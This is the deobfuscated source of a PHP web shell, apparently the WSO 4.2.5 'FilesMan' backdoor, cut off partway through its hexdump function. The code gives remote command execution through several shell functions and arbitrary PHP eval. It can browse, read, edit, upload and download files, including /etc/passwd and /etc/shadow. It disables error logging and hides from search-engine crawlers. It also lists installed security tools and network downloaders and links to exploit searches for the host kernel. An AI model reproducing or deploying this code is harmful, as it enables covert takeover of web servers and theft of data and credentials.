Jump to:
Screenshot
Attributes
Encoding
<?php
eval /* PHPDeobfuscator eval output */ {
$▛ = "";
$▘ = true;
$▜ = 'UTF-8';
$▚ = 'FilesMan';
$▙ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
prototype(md5($_SERVER['HTTP_HOST']) . "key", $▙);
}
if (empty($_POST['charset'])) {
$_POST['charset'] = $▜;
}
if (!isset($_POST['ne'])) {
if (isset($_POST['a'])) {
$_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
}
if (isset($_POST['c'])) {
$_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
}
if (isset($_POST['p1'])) {
$_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
}
if (isset($_POST['p2'])) {
$_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
}
if (isset($_POST['p3'])) {
$_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
}
}
function decrypt($str, $pwd)
{
return $str;
}
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (true) {
@set_magic_quotes_runtime(0);
}
@define('VERSION', '4.2.5');
if (get_magic_quotes_gpc()) {
function stripslashes_array($array)
{
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
$_COOKIE = stripslashes_array($_COOKIE);
}
if (!empty($▛)) {
if (isset($_POST['pass']) && md5($_POST['pass']) == $▛) {
prototype(md5($_SERVER['HTTP_HOST']), $▛);
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛) {
hardLogin();
}
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
}
function hardLogin()
{
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
}
if (strtolower("PHP") == "win") {
$os = 'win';
} else {
$os = 'nix';
}
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) {
error_reporting(0);
}
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) {
@chdir($_POST['c']);
}
$cwd = @getcwd();
if ($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if ($cwd[strlen($cwd) - 1] != '/') {
$cwd .= '/';
}
function hardHeader()
{
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['▜'];
}
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION . "</title>\r\n<style>\r\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color:#C3C3C3;}\r\n\ttable#toolsTbl {background-color: #060A10;}\r\n\tspan,h1,a\t{color:#fff !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #060a10;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#060a10;}\r\n\t.main tr:hover{background-color:#354252;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type='submit']{background-color:#2E6E9C;}\r\n\tinput[type='button']{background-color:#2E6E9C;}\r\n\tinput[type='submit']:hover{background-color:#56AD15;}\r\n\tinput[type='button']:hover{background-color:#56AD15;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n var d = document;\r\n\t\r\n\tfunction encrypt(str,pwd){ return str; }\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n if (req) {\r\n req.onreadystatechange = processReqChange;\r\n req.open('POST', url, true);\r\n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n req.send(params);\r\n }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
if (strpos('Linux', $kernel) !== false) {
$explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
} else {
$explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
}
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
}
$cwd_links .= "\")'>" . $path[$i] . "/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach ($charsets as $▟) {
$opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
}
$m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
if (!empty($GLOBALS['▛'])) {
$m['Logout'] = 'Logout';
}
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach ($m as $k => $v) {
$menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
}
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':\\')) {
$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://noreferer.de/?http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
}
function hardFooter()
{
$is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#FFDB5F'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>" . $is_writable . "<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>" . $is_writable . "<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t\t<span>Upload file:</span>" . $is_writable . "<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>\r\n\t<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>\r\n\t</body></html>";
}
if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
function posix_getpwuid($p)
{
return false;
}
}
if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
function posix_getgrgid($p)
{
return false;
}
}
function ex($in)
{
$▖ = '';
if (function_exists('exec')) {
@exec($in, $▖);
$▖ = @join("\n", $▖);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$▖ = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$▖ = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$▖ = shell_exec($in);
} elseif (is_resource($f = @popen($in, "r"))) {
$▖ = "";
while (!@feof($f)) {
$▖ .= fread($f, 1024);
}
pclose($f);
} else {
return "\xe2\x86\xb3 Unable to execute command\n";
}
return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
}
function viewSize($s)
{
if ($s >= 1073741824) {
return sprintf('%1.2f', $s / 1073741824) . ' GB';
} elseif ($s >= 1048576) {
return sprintf('%1.2f', $s / 1048576) . ' MB';
} elseif ($s >= 1024) {
return sprintf('%1.2f', $s / 1024) . ' KB';
} else {
return $s . ' B';
}
}
function perms($p)
{
if (($p & 0xc000) == 0xc000) {
$i = 's';
} elseif (($p & 0xa000) == 0xa000) {
$i = 'l';
} elseif (($p & 0x8000) == 0x8000) {
$i = '-';
} elseif (($p & 0x6000) == 0x6000) {
$i = 'b';
} elseif (($p & 0x4000) == 0x4000) {
$i = 'd';
} elseif (($p & 0x2000) == 0x2000) {
$i = 'c';
} elseif (($p & 0x1000) == 0x1000) {
$i = 'p';
} else {
$i = 'u';
}
$i .= $p & 0x100 ? 'r' : '-';
$i .= $p & 0x80 ? 'w' : '-';
$i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
$i .= $p & 0x20 ? 'r' : '-';
$i .= $p & 0x10 ? 'w' : '-';
$i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
$i .= $p & 0x4 ? 'r' : '-';
$i .= $p & 0x2 ? 'w' : '-';
$i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
return $i;
}
function viewPermsColor($f)
{
if (!@is_readable($f)) {
return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
} elseif (!@is_writable($f)) {
return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
} else {
return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
}
}
function hardScandir($dir)
{
if (function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function which($p)
{
$path = ex('which ' . $p);
if (!empty($path)) {
return $path;
}
return false;
}
function actionRC()
{
if (!@$_POST['p1']) {
$a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
function prototype($k, $v)
{
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
function actionSecInfo()
{
hardHeader();
echo "<h1>Server security information</h1><div class=content>";
function showSecParam($n, $v)
{
$v = trim($v);
if ($v) {
echo '<span>' . $n . ': </span>';
if (strpos($v, "\n") === false) {
echo $v . '<br>';
} else {
echo '<pre class=ml1>' . $v . '</pre>';
}
}
}
showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) {
showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
}
showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
showSecParam('Open base dir', @ini_get('open_basedir'));
showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
$temp = array();
if (function_exists('mysql_get_client_info')) {
$temp[] = "MySql (" . mysql_get_client_info() . ")";
}
if (function_exists('mssql_connect')) {
$temp[] = "MSSQL";
}
if (function_exists('pg_connect')) {
$temp[] = "PostgreSQL";
}
if (function_exists('oci_connect')) {
$temp[] = "Oracle";
}
showSecParam('Supported databases', implode(', ', $temp));
echo "<br>";
if ($GLOBALS['os'] == 'nix') {
showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
showSecParam('OS version', @file_get_contents('/proc/version'));
showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['safe_mode']) {
$userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
$danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
$downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
echo "<br>";
$temp = array();
foreach ($userful as $▟) {
if (which($▟)) {
$temp[] = $▟;
}
}
showSecParam('Userful', implode(', ', $temp));
$temp = array();
foreach ($danger as $▟) {
if (which($▟)) {
$temp[] = $▟;
}
}
showSecParam('Danger', implode(', ', $temp));
$temp = array();
foreach ($downloaders as $▟) {
if (which($▟)) {
$temp[] = $▟;
}
}
showSecParam('Downloaders', implode(', ', $temp));
echo "<br/>";
showSecParam('HDD space', ex('df -h'));
showSecParam('Hosts', @file_get_contents('/etc/hosts'));
showSecParam('Mount options', @file_get_contents('/etc/fstab'));
}
} else {
showSecParam('OS Version', ex('ver'));
showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
}
echo "</div>";
hardFooter();
}
function actionFilesTools()
{
if (isset($_POST['p1'])) {
$_POST['p1'] = urldecode($_POST['p1']);
}
if (@$_POST['p2'] == 'download') {
if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else {
header("Content-Type: application/octet-stream");
}
$fp = @fopen($_POST['p1'], "r");
if ($fp) {
while (!@feof($fp)) {
echo @fread($fp, 1024);
}
fclose($fp);
}
}
exit;
}
if (@$_POST['p2'] == 'mkfile') {
if (!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if ($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
hardHeader();
echo "<h1>File tools</h1><div class=content>";
if (!file_exists(@$_POST['p1'])) {
echo "File not exists";
hardFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if (!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else {
$gid = @posix_getgrgid(@filegroup($_POST['p1']));
}
echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
if (empty($_POST['p2'])) {
$_POST['p2'] = 'view';
}
if (is_file($_POST['p1'])) {
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
} else {
$m = array('Chmod', 'Rename', 'Touch');
}
foreach ($m as $v) {
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
}
echo "<br><br>";
switch ($_POST['p2']) {
case 'view':
echo "<pre class=ml1>";
$fp = @fopen($_POST['p1'], 'r');
if ($fp) {
while (!@feof($fp)) {
echo htmlspecialchars(@fread($fp, 1024));
}
@fclose($fp);
}
echo "</pre>";
break;
case 'highlight':
if (@is_readable($_POST['p1'])) {
echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
$oRb = @highlight_file($_POST['p1'], true);
echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
}
break;
case 'chmod':
if (!empty($_POST['p3'])) {
$perms = 0;
for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
$perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
}
if (!@chmod($_POST['p1'], $perms)) {
echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
}
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
break;
case 'edit':
if (!is_writable($_POST['p1'])) {
echo "File isn't writeable";
break;
}
if (!empty($_POST['p3'])) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'], 1);
$fp = @fopen($_POST['p1'], "w");
if ($fp) {
@fwrite($fp, $_POST['p3']);
@fclose($fp);
echo "Saved!<br><script>p3_=\"\";</script>";
@touch($_POST['p1'], $time, $time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if ($fp) {
while (!@feof($fp)) {
echo htmlspecialchars(@fread($fp, 1024));
}
@fclose($fp);
}
echo "</textarea><input type=submit value=\"submit\"></form>";
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>', '', '');
$len = strlen($c);
for ($i = 0; $i < $len; ++$i) {
$h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
switch (ord($c[$i])) {
case 0:
$h[2] .= ' ';
break;
case 9:
$h[2] .= ' ';
break;
case 10:
$h[2] .= ' ';
break;
case 13:
$h[2] .= ' ';
break;
default:
$h[2] .= $c[$i];
break;
}
$n++;
if ($n == 32) {
